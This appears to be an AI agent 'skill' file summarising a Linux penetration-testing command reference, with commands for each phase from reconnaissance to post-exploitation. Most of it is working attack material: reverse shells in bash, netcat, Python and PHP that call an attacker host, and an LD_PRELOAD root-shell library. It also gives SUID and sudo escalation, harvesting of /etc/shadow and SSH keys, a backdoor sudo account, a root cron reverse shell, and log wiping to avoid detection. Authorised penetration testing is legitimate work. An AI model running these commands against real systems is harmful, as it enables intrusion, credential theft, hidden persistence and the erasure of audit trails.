Linux Pentester Commands

Linux Pentester Commands Skill

Skill by ara.so — Security Skills collection.

This skill provides expertise in using the Linux for a Pentester command reference repository, a curated collection of practical Linux commands used in penetration testing workflows including reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation.

What This Project Does

Linux for a Pentester is a practical command reference organized by penetration testing phases:

• General Commands: Essential Linux survival commands
• Reconnaissance: Local and network information gathering
• Enumeration: Deep service and user data discovery
• Exploitation: Initial access techniques
• Privilege Escalation: Techniques to gain root access
• Post-Exploitation: Persistence and lateral movement
• Cheatsheets: Quick reference one-liners

Installation

Clone the repository to have offline access during engagements:

git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester

For quick reference during active testing:

# Add as a shell alias for fast access
echo 'alias pentref="cd ~/Linux-for-a-Pentester && ls"' >> ~/.bashrc
source ~/.bashrc

Repository Structure

Linux-for-a-Pentester/
├── 00-General-Commands/       # Basic Linux survival commands
├── 01-Recon/                  # Reconnaissance phase commands
├── 02-Enumeration/            # Service and system enumeration
├── 03-Exploitation/           # Exploitation techniques
├── 04-Privilege-Escalation/   # Privilege escalation methods
├── 05-Post-Exploitation/      # Post-exploitation activities
└── Cheatsheets/               # Quick reference sheets

Common Pentesting Workflows

1. Initial Reconnaissance

System Information Gathering:

# Basic system information
uname -a                    # Kernel version and architecture
cat /etc/os-release        # OS version details
hostname                    # Current hostname
uptime                      # System uptime

# User context
whoami                      # Current user
id                         # User/group IDs and memberships
groups                      # Group memberships

Network Reconnaissance:

# Network interfaces and connections
ip addr                     # Network interfaces
ip route                    # Routing table
ss -tulpn                   # Active network connections
netstat -antup              # Alternative (older systems)

# DNS and hostname resolution
cat /etc/hosts
cat /etc/resolv.conf

2. Enumeration Phase

User Enumeration:

# User and group information
cat /etc/passwd             # All users
cat /etc/group              # All groups
lastlog                     # Last login information
w                          # Currently logged-in users

# Home directories
ls -la /home/
find /home -type f -readable 2>/dev/null

Service Enumeration:

# Running services
systemctl list-units --type=service --state=running
ps aux                      # All running processes
ps -ef --forest            # Process tree view

# Listening services
ss -tulpn | grep LISTEN
lsof -i -P -n              # Open network connections

File System Enumeration:

# SUID/SGID files (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null        # SUID files
find / -perm -2000 -type f 2>/dev/null        # SGID files
find / -perm -6000 -type f 2>/dev/null        # Both

# Writable directories
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null

# Configuration files
find /etc -type f -readable 2>/dev/null
grep -r "password" /etc/ 2>/dev/null

3. Exploitation Commands

Reverse Shells:

# Bash reverse shell
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1

# Netcat reverse shell
nc -e /bin/bash $ATTACKER_IP 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f

# Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# PHP reverse shell
php -r '$sock=fsockopen("$ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Shell Upgrade:

# Upgrade to interactive TTY
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Full interactive shell
# In reverse shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z to background
# On attacker machine:
stty raw -echo; fg
# Press Enter twice
export TERM=xterm

4. Privilege Escalation

SUID Exploitation:

# Find SUID binaries
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

# Common SUID exploits
# GTFOBins patterns for specific binaries
/usr/bin/find . -exec /bin/sh \; -quit
/usr/bin/vim -c ':!/bin/sh'
/usr/bin/nmap --interactive

Sudo Exploitation:

# Check sudo privileges
sudo -l

# Common sudo bypasses
sudo -u#-1 /bin/bash          # CVE-2019-14287 (sudo < 1.8.28)

# LD_PRELOAD exploitation (if env_keep+=LD_PRELOAD)
# Create malicious library
cat > /tmp/shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so <allowed_program>

Cron Job Exploitation:

# Enumerate cron jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
crontab -l -u root 2>/dev/null

# Check for writable cron scripts
find /etc/cron* -type f -writable 2>/dev/null

Kernel Exploits:

# Check kernel version
uname -a
cat /proc/version

# Search for kernel exploits (use searchsploit or online databases)
# Common kernel exploits:
# - DirtyCow (CVE-2016-5195)
# - DirtyPipe (CVE-2022-0847)

5. Post-Exploitation

Credential Harvesting:

# SSH keys
find / -name id_rsa 2>/dev/null
find / -name authorized_keys 2>/dev/null

# Password files and history
cat /etc/shadow 2>/dev/null
cat ~/.bash_history
find / -name .bash_history 2>/dev/null

# Configuration files with credentials
grep -r "password" /var/www/ 2>/dev/null
grep -r "pass" /opt/ 2>/dev/null
find / -name "*.conf" -exec grep -i "password" {} \; 2>/dev/null

Persistence:

# Add SSH key
mkdir -p ~/.ssh
echo "$PUBLIC_KEY" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Add user account
useradd -m -s /bin/bash backdoor
echo "backdoor:password" | chpasswd
usermod -aG sudo backdoor

# Cron persistence
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root

Key Command Categories

Network Scanning

# Port scanning (if nmap unavailable, use native tools)
for port in {1..1000}; do timeout 1 bash -c "echo >/dev/tcp/localhost/$port" 2>/dev/null && echo "Port $port open"; done

# ARP scanning
ip neigh
arp -a

File Transfer Techniques

# Python HTTP server (attacker machine)
python3 -m http.server 8000

# Download files (target machine)
wget http://$ATTACKER_IP:8000/file
curl -O http://$ATTACKER_IP:8000/file

# If no wget/curl
exec 3<>/dev/tcp/$ATTACKER_IP/8000
echo -e "GET /file HTTP/1.0\r\n\r\n" >&3
cat <&3 > file

# Base64 transfer (small files)
# On attacker: base64 file | xclip -selection clipboard
# On target: echo "BASE64_STRING" | base64 -d > file

Log Cleanup

# Clear bash history
history -c
rm ~/.bash_history
unset HISTFILE

# Clear system logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
find /var/log -type f -exec truncate -s 0 {} \;

Environment Variables

When working with this reference, consider setting these environment variables in your testing environment:

# Set in ~/.bashrc or testing session
export ATTACKER_IP="10.10.14.x"  # Your attack machine IP
export TARGET_IP="10.10.10.x"     # Target machine IP
export LPORT=4444                  # Default listening port

Troubleshooting Common Issues

Command Not Found

Some commands may not be available on minimal systems:

# netstat unavailable → use ss
ss -tulpn

# ifconfig unavailable → use ip
ip addr

# wget unavailable → use curl
curl -O http://example.com/file

# nc without -e flag → use named pipe method
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f

Permission Denied Errors

# Redirect stderr to avoid noise
find / -name "interesting" 2>/dev/null

# Use accessible directories
cd /tmp || cd /dev/shm

Limited Shell Issues

# Spawn TTY
python -c 'import pty; pty.spawn("/bin/bash")'
script /dev/null -c bash
/bin/bash -i

Best Practices

1. Always redirect errors when searching: 2>/dev/null 2. Use /tmp or /dev/shm for temporary files (usually writable) 3. Clean up after testing to avoid detection 4. Document findings as you discover them 5. Test commands in safe environments first 6. Keep GTFOBins bookmarked for SUID/sudo exploitation 7. Check LinPEAS/LinEnum output systematically

Integration with Testing Workflow

# Typical engagement flow:
# 1. Gain initial access
# 2. Stabilize shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 3. Quick wins check
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/crontab

# 4. Deep enumeration
# Run automated scripts or manual enumeration

# 5. Exploit findings
# Based on discovered vectors

# 6. Post-exploitation
# Gather credentials, maintain access

# 7. Cleanup
history -c && rm ~/.bash_history

This skill provides the command reference needed for practical Linux penetration testing. Refer to the repository's individual directories for more detailed notes on each phase.